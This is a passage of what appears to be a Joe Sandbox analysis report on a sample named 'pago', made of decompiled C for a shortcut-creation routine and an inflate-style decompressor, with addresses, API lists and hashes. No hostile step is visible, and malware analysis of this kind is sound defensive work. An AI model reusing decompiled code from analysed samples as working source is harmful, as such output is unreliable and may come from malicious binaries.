                                                                  				void* _t107;
                                                                  
                                                                  				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
                                                                  				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
                                                                  				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
                                                                  				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
                                                                  				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
                                                                  				_t52 =  *(_t107 - 0x20);
                                                                  				 *(_t107 - 0x50) = _t52 & 0x00000fff;
                                                                  				_t101 = _t52 & 0x00008000;
                                                                  				_t105 = _t52 >> 0x0000000c & 0x00000007;
                                                                  				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
                                                                  				if(E00405E83( *((intOrPtr*)(_t107 - 0x44))) == 0) {
                                                                  					E00402DA6(0x21);
                                                                  				}
                                                                  				_t56 = _t107 + 8;
                                                                  				__imp__CoCreateInstance(0x4085f0, _t83, 1, 0x4085e0, _t56);
                                                                  				if(_t56 < _t83) {
                                                                  					L14:
                                                                  					 *((intOrPtr*)(_t107 - 4)) = 1;
                                                                  					_push(0xfffffff0);
                                                                  				} else {
                                                                  					_t60 =  *((intOrPtr*)(_t107 + 8));
                                                                  					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x408600, _t107 - 0x38);
                                                                  					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
                                                                  					if(_t61 >= _t83) {
                                                                  						_t64 =  *((intOrPtr*)(_t107 + 8));
                                                                  						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
                                                                  						if(_t101 == _t83) {
                                                                  							_t80 =  *((intOrPtr*)(_t107 + 8));
                                                                  							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x441000);
                                                                  						}
                                                                  						if(_t105 != _t83) {
                                                                  							_t78 =  *((intOrPtr*)(_t107 + 8));
                                                                  							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
                                                                  						}
                                                                  						_t66 =  *((intOrPtr*)(_t107 + 8));
                                                                  						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
                                                                  						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
                                                                  						if( *_t91 != _t83) {
                                                                  							_t76 =  *((intOrPtr*)(_t107 + 8));
                                                                  							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
                                                                  						}
                                                                  						_t68 =  *((intOrPtr*)(_t107 + 8));
                                                                  						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
                                                                  						_t70 =  *((intOrPtr*)(_t107 + 8));
                                                                  						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
                                                                  						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
                                                                  							_t74 =  *((intOrPtr*)(_t107 - 0x38));
                                                                  							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
                                                                  						}
                                                                  						_t72 =  *((intOrPtr*)(_t107 - 0x38));
                                                                  						 *((intOrPtr*)( *_t72 + 8))(_t72);
                                                                  					}
                                                                  					_t62 =  *((intOrPtr*)(_t107 + 8));
                                                                  					 *((intOrPtr*)( *_t62 + 8))(_t62);
                                                                  					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
                                                                  						_push(0xfffffff4);
                                                                  					} else {
                                                                  						goto L14;
                                                                  					}
                                                                  				}
                                                                  				E00401423();
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t107 - 4));
                                                                  				return 0;
                                                                  			}






















                                                                  0x004021b3
                                                                  0x004021bd
                                                                  0x004021c7
                                                                  0x004021d1
                                                                  0x004021dc
                                                                  0x004021df
                                                                  0x004021f9
                                                                  0x004021fc
                                                                  0x00402202
                                                                  0x00402205
                                                                  0x0040220f
                                                                  0x00402213
                                                                  0x00402213
                                                                  0x00402218
                                                                  0x00402229
                                                                  0x00402231
                                                                  0x004022e8
                                                                  0x004022e8
                                                                  0x004022ef
                                                                  0x00402237
                                                                  0x00402237
                                                                  0x00402246
                                                                  0x0040224a
                                                                  0x0040224d
                                                                  0x00402253
                                                                  0x00402261
                                                                  0x00402264
                                                                  0x00402266
                                                                  0x00402271
                                                                  0x00402271
                                                                  0x00402276
                                                                  0x00402278
                                                                  0x0040227f
                                                                  0x0040227f
                                                                  0x00402282
                                                                  0x0040228b
                                                                  0x0040228e
                                                                  0x00402294
                                                                  0x00402296
                                                                  0x004022a0
                                                                  0x004022a0
                                                                  0x004022a3
                                                                  0x004022ac
                                                                  0x004022af
                                                                  0x004022b8
                                                                  0x004022be
                                                                  0x004022c0
                                                                  0x004022ce
                                                                  0x004022ce
                                                                  0x004022d1
                                                                  0x004022d7
                                                                  0x004022d7
                                                                  0x004022da
                                                                  0x004022e0
                                                                  0x004022e6
                                                                  0x004022fb
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004022e6
                                                                  0x004022f1
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • CoCreateInstance.OLE32(004085F0,?,00000001,004085E0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402229
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CreateInstance
                                                                  • String ID:
                                                                  • API String ID: 542301482-0
                                                                  • Opcode ID: 3c4303e572c21d3ee0d25cdd6e38a92fccf890e788a1af2a38fbfdcd1b0c250e
                                                                  • Instruction ID: 5977cb51530078b600b156af0050786de557c4b464dd586e6a5beaa7a0440451
                                                                  • Opcode Fuzzy Hash: 3c4303e572c21d3ee0d25cdd6e38a92fccf890e788a1af2a38fbfdcd1b0c250e
                                                                  • Instruction Fuzzy Hash: A7411571A00208EFCF40DFE4C989E9D7BB5BF49348B20456AF905EB2D1DB799981CB94
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 79%
                                                                  			E00406D85(signed int __ebx, signed int* __esi) {
                                                                  				signed int _t396;
                                                                  				signed int _t425;
                                                                  				signed int _t442;
                                                                  				signed int _t443;
                                                                  				signed int* _t446;
                                                                  				void* _t448;
                                                                  
                                                                  				L0:
                                                                  				while(1) {
                                                                  					L0:
                                                                  					_t446 = __esi;
                                                                  					_t425 = __ebx;
                                                                  					if( *(_t448 - 0x34) == 0) {
                                                                  						break;
                                                                  					}
                                                                  					L55:
                                                                  					__eax =  *(__ebp - 0x38);
                                                                  					 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
                                                                  					__ecx = __ebx;
                                                                  					 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  					 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  					 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
                                                                  					__ebx = __ebx + 8;
                                                                  					while(1) {
                                                                  						L56:
                                                                  						if(__ebx < 0xe) {
                                                                  							goto L0;
                                                                  						}
                                                                  						L57:
                                                                  						__eax =  *(__ebp - 0x40);
                                                                  						__eax =  *(__ebp - 0x40) & 0x00003fff;
                                                                  						__ecx = __eax;
                                                                  						__esi[1] = __eax;
                                                                  						__ecx = __eax & 0x0000001f;
                                                                  						if(__cl > 0x1d) {
                                                                  							L9:
                                                                  							_t443 = _t442 | 0xffffffff;
                                                                  							 *_t446 = 0x11;
                                                                  							L10:
                                                                  							_t446[0x147] =  *(_t448 - 0x40);
                                                                  							_t446[0x146] = _t425;
                                                                  							( *(_t448 + 8))[1] =  *(_t448 - 0x34);
                                                                  							L11:
                                                                  							 *( *(_t448 + 8)) =  *(_t448 - 0x38);
                                                                  							_t446[0x26ea] =  *(_t448 - 0x30);
                                                                  							E004074F4( *(_t448 + 8));
                                                                  							return _t443;
                                                                  						}
                                                                  						L58:
                                                                  						__eax = __eax & 0x000003e0;
                                                                  						if(__eax > 0x3a0) {
                                                                  							goto L9;
                                                                  						}
                                                                  						L59:
                                                                  						 *(__ebp - 0x40) =  *(__ebp - 0x40) >> 0xe;
                                                                  						__ebx = __ebx - 0xe;
                                                                  						_t94 =  &(__esi[2]);
                                                                  						 *_t94 = __esi[2] & 0x00000000;
                                                                  						 *__esi = 0xc;
                                                                  						while(1) {
                                                                  							L60:
                                                                  							__esi[1] = __esi[1] >> 0xa;
                                                                  							__eax = (__esi[1] >> 0xa) + 4;
                                                                  							if(__esi[2] >= (__esi[1] >> 0xa) + 4) {
                                                                  								goto L68;
                                                                  							}
                                                                  							L61:
                                                                  							while(1) {
                                                                  								L64:
                                                                  								if(__ebx >= 3) {
                                                                  									break;
                                                                  								}
                                                                  								L62:
                                                                  								if( *(__ebp - 0x34) == 0) {
                                                                  									goto L182;
                                                                  								}
                                                                  								L63:
                                                                  								__eax =  *(__ebp - 0x38);
                                                                  								 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
                                                                  								__ecx = __ebx;
                                                                  								 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  								 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
                                                                  								__ebx = __ebx + 8;
                                                                  							}
                                                                  							L65:
                                                                  							__ecx = __esi[2];
                                                                  							 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000007;
                                                                  							__ebx = __ebx - 3;
                                                                  							_t108 = __ecx + 0x4084d4; // 0x121110
                                                                  							__ecx =  *_t108;
                                                                  							 *(__ebp - 0x40) =  *(__ebp - 0x40) >> 3;
                                                                  							 *(__esi + 0xc +  *_t108 * 4) =  *(__ebp - 0x40) & 0x00000007;
                                                                  							__ecx = __esi[1];
                                                                  							__esi[2] = __esi[2] + 1;
                                                                  							__eax = __esi[2];
                                                                  							__esi[1] >> 0xa = (__esi[1] >> 0xa) + 4;
                                                                  							if(__esi[2] < (__esi[1] >> 0xa) + 4) {
                                                                  								goto L64;
                                                                  							}
                                                                  							L66:
                                                                  							while(1) {
                                                                  								L68:
                                                                  								if(__esi[2] >= 0x13) {
                                                                  									break;
                                                                  								}
                                                                  								L67:
                                                                  								_t119 = __esi[2] + 0x4084d4; // 0x4000300
                                                                  								__eax =  *_t119;
                                                                  								 *(__esi + 0xc +  *_t119 * 4) =  *(__esi + 0xc +  *_t119 * 4) & 0x00000000;
                                                                  								_t126 =  &(__esi[2]);
                                                                  								 *_t126 = __esi[2] + 1;
                                                                  							}
                                                                  							L69:
                                                                  							__ecx = __ebp - 8;
                                                                  							__edi =  &(__esi[0x143]);
                                                                  							 &(__esi[0x148]) =  &(__esi[0x144]);
                                                                  							__eax = 0;
                                                                  							 *(__ebp - 8) = 0;
                                                                  							__eax =  &(__esi[3]);
                                                                  							 *__edi = 7;
                                                                  							__eax = E0040755C( &(__esi[3]), 0x13, 0x13, 0, 0,  &(__esi[0x144]), __edi,  &(__esi[0x148]), __ebp - 8);
                                                                  							if(__eax != 0) {
                                                                  								L72:
                                                                  								 *__esi = 0x11;
                                                                  								while(1) {
                                                                  									L180:
                                                                  									_t396 =  *_t446;
                                                                  									if(_t396 > 0xf) {
                                                                  										break;
                                                                  									}
                                                                  									L1:
                                                                  									switch( *((intOrPtr*)(_t396 * 4 +  &M004074B4))) {
                                                                  										case 0:
                                                                  											L101:
                                                                  											__eax = __esi[4] & 0x000000ff;
                                                                  											__esi[3] = __esi[4] & 0x000000ff;
                                                                  											__eax = __esi[5];
                                                                  											__esi[2] = __esi[5];
                                                                  											 *__esi = 1;
                                                                  											goto L102;
                                                                  										case 1:
                                                                  											L102:
                                                                  											__eax = __esi[3];
                                                                  											while(1) {
                                                                  												L105:
                                                                  												__eflags = __ebx - __eax;
                                                                  												if(__ebx >= __eax) {
                                                                  													break;
                                                                  												}
                                                                  												L103:
                                                                  												__eflags =  *(__ebp - 0x34);
                                                                  												if( *(__ebp - 0x34) == 0) {
                                                                  													goto L182;
                                                                  												}
                                                                  												L104:
                                                                  												__ecx =  *(__ebp - 0x38);
                                                                  												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
                                                                  												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
                                                                  												__ecx = __ebx;
                                                                  												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
                                                                  												__ebx = __ebx + 8;
                                                                  												__eflags = __ebx;
                                                                  											}
                                                                  											L106:
                                                                  											__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
                                                                  											__eax = __eax &  *(__ebp - 0x40);
                                                                  											__ecx = __esi[2];
                                                                  											__eax = __esi[2] + __eax * 4;
                                                                  											__ecx =  *(__eax + 1) & 0x000000ff;
                                                                  											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
                                                                  											__ebx = __ebx - ( *(__eax + 1) & 0x000000ff);
                                                                  											__ecx =  *__eax & 0x000000ff;
                                                                  											__eflags = __ecx;
                                                                  											if(__ecx != 0) {
                                                                  												L108:
                                                                  												__eflags = __cl & 0x00000010;
                                                                  												if((__cl & 0x00000010) == 0) {
                                                                  													L110:
                                                                  													__eflags = __cl & 0x00000040;
                                                                  													if((__cl & 0x00000040) == 0) {
                                                                  														goto L125;
                                                                  													}
                                                                  													L111:
                                                                  													__eflags = __cl & 0x00000020;
                                                                  													if((__cl & 0x00000020) == 0) {
                                                                  														goto L9;
                                                                  													}
                                                                  													L112:
                                                                  													 *__esi = 7;
                                                                  													goto L180;
                                                                  												}
                                                                  												L109:
                                                                  												__esi[2] = __ecx;
                                                                  												__esi[1] = __eax;
                                                                  												 *__esi = 2;
                                                                  												goto L180;
                                                                  											}
                                                                  											L107:
                                                                  											__esi[2] = __eax;
                                                                  											 *__esi = 6;
                                                                  											goto L180;
                                                                  										case 2:
                                                                  											L113:
                                                                  											__eax = __esi[2];
                                                                  											while(1) {
                                                                  												L116:
                                                                  												__eflags = __ebx - __eax;
                                                                  												if(__ebx >= __eax) {
                                                                  													break;
                                                                  												}
                                                                  												L114:
                                                                  												__eflags =  *(__ebp - 0x34);
                                                                  												if( *(__ebp - 0x34) == 0) {
                                                                  													goto L182;
                                                                  												}
                                                                  												L115:
                                                                  												__ecx =  *(__ebp - 0x38);
                                                                  												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
                                                                  												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
                                                                  												__ecx = __ebx;
                                                                  												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
                                                                  												__ebx = __ebx + 8;
                                                                  												__eflags = __ebx;
                                                                  											}
                                                                  											L117:
                                                                  											 *(0x40a5c4 + __eax * 2) & 0x0000ffff =  *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40);
                                                                  											__esi[1] = __esi[1] + ( *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40));
                                                                  											__ecx = __eax;
                                                                  											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
                                                                  											__ebx = __ebx - __eax;
                                                                  											__eflags = __ebx;
                                                                  											__eax = __esi[4] & 0x000000ff;
                                                                  											__esi[3] = __esi[4] & 0x000000ff;
                                                                  											__eax = __esi[6];
                                                                  											__esi[2] = __esi[6];
                                                                  											 *__esi = 3;
                                                                  											goto L118;
                                                                  										case 3:
                                                                  											L118:
                                                                  											__eax = __esi[3];
                                                                  											while(1) {
                                                                  												L121:
                                                                  												__eflags = __ebx - __eax;
                                                                  												if(__ebx >= __eax) {
                                                                  													break;
                                                                  												}
                                                                  												L119:
                                                                  												__eflags =  *(__ebp - 0x34);
                                                                  												if( *(__ebp - 0x34) == 0) {
                                                                  													goto L182;
                                                                  												}
                                                                  												L120:
                                                                  												__ecx =  *(__ebp - 0x38);
                                                                  												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
                                                                  												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
                                                                  												__ecx = __ebx;
                                                                  												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
                                                                  												__ebx = __ebx + 8;
                                                                  												__eflags = __ebx;
                                                                  											}
                                                                  											L122:
                                                                  											__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
                                                                  											__eax = __eax &  *(__ebp - 0x40);
                                                                  											__ecx = __esi[2];
                                                                  											__eax = __esi[2] + __eax * 4;
                                                                  											__ecx =  *(__eax + 1) & 0x000000ff;
                                                                  											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
                                                                  											__ebx = __ebx - ( *(__eax + 1) & 0x000000ff);
                                                                  											__ecx =  *__eax & 0x000000ff;
                                                                  											__eflags = __cl & 0x00000010;
                                                                  											if((__cl & 0x00000010) == 0) {
                                                                  												L124:
                                                                  												__eflags = __cl & 0x00000040;
                                                                  												if((__cl & 0x00000040) != 0) {
                                                                  													goto L9;
                                                                  												}
                                                                  												L125:
                                                                  												__esi[3] = __ecx;
                                                                  												__ecx =  *(__eax + 2) & 0x0000ffff;
                                                                  												__esi[2] = __eax;
                                                                  												goto L180;
                                                                  											}
                                                                  											L123:
                                                                  											__esi[2] = __ecx;
                                                                  											__esi[3] = __eax;
                                                                  											 *__esi = 4;
                                                                  											goto L180;
                                                                  										case 4:
                                                                  											L126:
                                                                  											__eax = __esi[2];
                                                                  											while(1) {
                                                                  												L129:
                                                                  												__eflags = __ebx - __eax;
                                                                  												if(__ebx >= __eax) {
                                                                  													break;
                                                                  												}
                                                                  												L127:
                                                                  												__eflags =  *(__ebp - 0x34);
                                                                  												if( *(__ebp - 0x34) == 0) {
                                                                  													goto L182;
                                                                  												}
                                                                  												L128:
                                                                  												__ecx =  *(__ebp - 0x38);
                                                                  												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
                                                                  												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
                                                                  												__ecx = __ebx;
                                                                  												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
                                                                  												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
                                                                  												__ebx = __ebx + 8;
                                                                  												__eflags = __ebx;
                                                                  											}
                                                                  											L130:
                                                                  											 *(0x40a5c4 + __eax * 2) & 0x0000ffff =  *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40);
                                                                  											__esi[3] = __esi[3] + ( *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40));
                                                                  											__ecx = __eax;
                                                                  											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
                                                                  											__ebx = __ebx - __eax;
                                                                  											__eflags = __ebx;
                                                                  											 *__esi = 5;
                                                                  											goto L131;
                                                                  										case 5:
                                                                  											L131:
                                                                  											__eax =  *(__ebp - 0x30);
                                                                  											__edx = __esi[3];
                                                                  											__eax = __eax - __esi;
                                                                  											__ecx = __eax - __esi - 0x1ba0;
                                                                  											__eflags = __eax - __esi - 0x1ba0 - __edx;
                                                                  											if(__eax - __esi - 0x1ba0 >= __edx) {
                                                                  												__ecx = __eax;
                                                                  												__ecx = __eax - __edx;
                                                                  												__eflags = __ecx;
                                                                  											} else {
                                                                  												__esi[0x26e8] = __esi[0x26e8] - __edx;
                                                                  												__ecx = __esi[0x26e8] - __edx - __esi;
                                                                  												__ecx = __esi[0x26e8] - __edx - __esi + __eax - 0x1ba0;
                                                                  											}
                                                                  											__eflags = __esi[1];
                                                                  											 *(__ebp - 0x20) = __ecx;
                                                                  											if(__esi[1] != 0) {
                                                                  												L135:
                                                                  												__edi =  *(__ebp - 0x2c);
                                                                  												do {
                                                                  													L136:
                                                                  													__eflags = __edi;
                                                                  													if(__edi != 0) {
                                                                  														goto L152;
                                                                  													}
                                                                  													L137:
                                                                  													__edi = __esi[0x26e8];
                                                                  													__eflags = __eax - __edi;
                                                                  													if(__eax != __edi) {
                                                                  														L143:
                                                                  														__esi[0x26ea] = __eax;
                                                                  														__eax = E004074F4( *((intOrPtr*)(__ebp + 8)));
                                                                  														__eax = __esi[0x26ea];
                                                                  														__ecx = __esi[0x26e9];
                                                                  														__eflags = __eax - __ecx;
                                                                  														 *(__ebp - 0x30) = __eax;
                                                                  														if(__eax >= __ecx) {
                                                                  															__edi = __esi[0x26e8];
                                                                  															__edi = __esi[0x26e8] - __eax;
                                                                  															__eflags = __edi;
                                                                  														} else {
                                                                  															__ecx = __ecx - __eax;
                                                                  															__edi = __ecx - __eax - 1;
                                                                  														}
                                                                  														__edx = __esi[0x26e8];
                                                                  														__eflags = __eax - __edx;
                                                                  														 *(__ebp - 8) = __edx;
                                                                  														if(__eax == __edx) {
                                                                  															__edx =  &(__esi[0x6e8]);
                                                                  															__eflags = __ecx - __edx;
                                                                  															if(__ecx != __edx) {
                                                                  																__eax = __edx;
                                                                  																__eflags = __eax - __ecx;
                                                                  																 *(__ebp - 0x30) = __eax;
                                                                  																if(__eax >= __ecx) {
                                                                  																	__edi =  *(__ebp - 8);
                                                                  																	__edi =  *(__ebp - 8) - __eax;
                                                                  																	__eflags = __edi;
                                                                  																} else {
                                                                  																	__ecx = __ecx - __eax;
                                                                  																	__edi = __ecx;
                                                                  																}
                                                                  															}
                                                                  														}
                                                                  														__eflags = __edi;
                                                                  														if(__edi == 0) {
                                                                  															goto L183;
                                                                  														} else {
                                                                  															goto L152;
                                                                  														}
                                                                  													}
                                                                  													L138:
                                                                  													__ecx = __esi[0x26e9];
                                                                  													__edx =  &(__esi[0x6e8]);
                                                                  													__eflags = __ecx - __edx;
                                                                  													if(__ecx == __edx) {
                                                                  														goto L143;
                                                                  													}
                                                                  													L139:
                                                                  													__eax = __edx;
                                                                  													__eflags = __eax - __ecx;
                                                                  													if(__eax >= __ecx) {
                                                                  														__edi = __edi - __eax;
                                                                  														__eflags = __edi;
                                                                  													} else {
                                                                  														__ecx = __ecx - __eax;
                                                                  														__edi = __ecx;
                                                                  													}
                                                                  													__eflags = __edi;
                                                                  													if(__edi == 0) {
                                                                  														goto L143;
                                                                  													}
                                                                  													L152:
                                                                  													__ecx =  *(__ebp - 0x20);
                                                                  													 *__eax =  *__ecx;
                                                                  													__eax = __eax + 1;
                                                                  													__ecx = __ecx + 1;
                                                                  													__edi = __edi - 1;
                                                                  													__eflags = __ecx - __esi[0x26e8];
                                                                  													 *(__ebp - 0x30) = __eax;
                                                                  													 *(__ebp - 0x20) = __ecx;
                                                                  													 *(__ebp - 0x2c) = __edi;
                                                                  													if(__ecx == __esi[0x26e8]) {
                                                                  														__ecx =  &(__esi[0x6e8]);
                                                                  														 *(__ebp - 0x20) =  &(__esi[0x6e8]);
                                                                  													}
                                                                  													_t357 =  &(__esi[1]);
                                                                  													 *_t357 = __esi[1] - 1;
                                                                  													__eflags =  *_t357;
                                                                  												} while ( *_t357 != 0);
                                                                  											}
                                                                  											goto L23;
                                                                  										case 6:
                                                                  											L156:
                                                                  											__eax =  *(__ebp - 0x2c);
                                                                  											__edi =  *(__ebp - 0x30);
                                                                  											__eflags = __eax;
                                                                  											if(__eax != 0) {
                                                                  												L172:
                                                                  												__cl = __esi[2];
                                                                  												 *__edi = __cl;
                                                                  												__edi = __edi + 1;
                                                                  												__eax = __eax - 1;
                                                                  												 *(__ebp - 0x30) = __edi;
                                                                  												 *(__ebp - 0x2c) = __eax;
                                                                  												goto L23;
                                                                  											}
                                                                  											L157:
                                                                  											__ecx = __esi[0x26e8];
                                                                  											__eflags = __edi - __ecx;
                                                                  											if(__edi != __ecx) {
                                                                  												L163:
                                                                  												__esi[0x26ea] = __edi;
                                                                  												__eax = E004074F4( *((intOrPtr*)(__ebp + 8)));
                                                                  												__edi = __esi[0x26ea];
                                                                  												__ecx = __esi[0x26e9];
                                                                  												__eflags = __edi - __ecx;
                                                                  												 *(__ebp - 0x30) = __edi;
                                                                  												if(__edi >= __ecx) {
                                                                  													__eax = __esi[0x26e8];
                                                                  													__eax = __esi[0x26e8] - __edi;
                                                                  													__eflags = __eax;
                                                                  												} else {
                                                                  													__ecx = __ecx - __edi;
                                                                  													__eax = __ecx - __edi - 1;
                                                                  												}
                                                                  												__edx = __esi[0x26e8];
                                                                  												__eflags = __edi - __edx;
                                                                  												 *(__ebp - 8) = __edx;
                                                                  												if(__edi == __edx) {
                                                                  													__edx =  &(__esi[0x6e8]);
                                                                  													__eflags = __ecx - __edx;
                                                                  													if(__ecx != __edx) {
                                                                  														__edi = __edx;
                                                                  														__eflags = __edi - __ecx;
                                                                  														 *(__ebp - 0x30) = __edi;
                                                                  														if(__edi >= __ecx) {
                                                                  															__eax =  *(__ebp - 8);
                                                                  															__eax =  *(__ebp - 8) - __edi;
                                                                  															__eflags = __eax;
                                                                  														} else {
                                                                  															__ecx = __ecx - __edi;
                                                                  															__eax = __ecx;
                                                                  														}
                                                                  													}
                                                                  												}
                                                                  												__eflags = __eax;
                                                                  												if(__eax == 0) {
                                                                  													goto L183;
                                                                  												} else {
                                                                  													goto L172;
                                                                  												}
                                                                  											}
                                                                  											L158:
                                                                  											__eax = __esi[0x26e9];
                                                                  											__edx =  &(__esi[0x6e8]);
                                                                  											__eflags = __eax - __edx;
                                                                  											if(__eax == __edx) {
                                                                  												goto L163;
                                                                  											}
                                                                  											L159:
                                                                  											__edi = __edx;
                                                                  											__eflags = __edi - __eax;
                                                                  											if(__edi >= __eax) {
                                                                  												__ecx = __ecx - __edi;
                                                                  												__eflags = __ecx;
                                                                  												__eax = __ecx;
                                                                  											} else {
                                                                  												__eax = __eax - __edi;
                                                                  												__eax = __eax - 1;
                                                                  											}
                                                                  											__eflags = __eax;
                                                                  											if(__eax != 0) {
                                                                  												goto L172;
                                                                  											} else {
                                                                  												goto L163;
                                                                  											}
                                                                  										case 7:
                                                                  											L173:
                                                                  											__eflags = __ebx - 7;
                                                                  											if(__ebx > 7) {
                                                                  												__ebx = __ebx - 8;
                                                                  												 *(__ebp - 0x34) =  *(__ebp - 0x34) + 1;
                                                                  												_t380 = __ebp - 0x38;
                                                                  												 *_t380 =  *(__ebp - 0x38) - 1;
                                                                  												__eflags =  *_t380;
                                                                  											}
                                                                  											goto L175;
                                                                  										case 8:
                                                                  											L4:
                                                                  											while(_t425 < 3) {
                                                                  												if( *(_t448 - 0x34) == 0) {
                                                                  													goto L182;
                                                                  												} else {
                                                                  													 *(_t448 - 0x34) =  *(_t448 - 0x34) - 1;
                                                                  													 *(_t448 - 0x40) =  *(_t448 - 0x40) | ( *( *(_t448 - 0x38)) & 0x000000ff) << _t425;
                                                                  													 *(_t448 - 0x38) =  &(( *(_t448 - 0x38))[1]);
                                                                  													_t425 = _t425 + 8;
                                                                  													continue;
                                                                  												}
                                                                  											}
                                                                  											_t425 = _t425 - 3;
                                                                  											 *(_t448 - 0x40) =  *(_t448 - 0x40) >> 3;
                                                                  											_t406 =  *(_t448 - 0x40) & 0x00000007;
                                                                  											asm("sbb ecx, ecx");
                                                                  											_t408 = _t406 >> 1;
                                                                  											_t446[0x145] = ( ~(_t406 & 0x00000001) & 0x00000007) + 8;
                                                                  											if(_t408 == 0) {
                                                                  												L24:
                                                                  												 *_t446 = 9;
                                                                  												_t436 = _t425 & 0x00000007;
                                                                  												 *(_t448 - 0x40) =  *(_t448 - 0x40) >> _t436;
                                                                  												_t425 = _t425 - _t436;
                                                                  												goto L180;
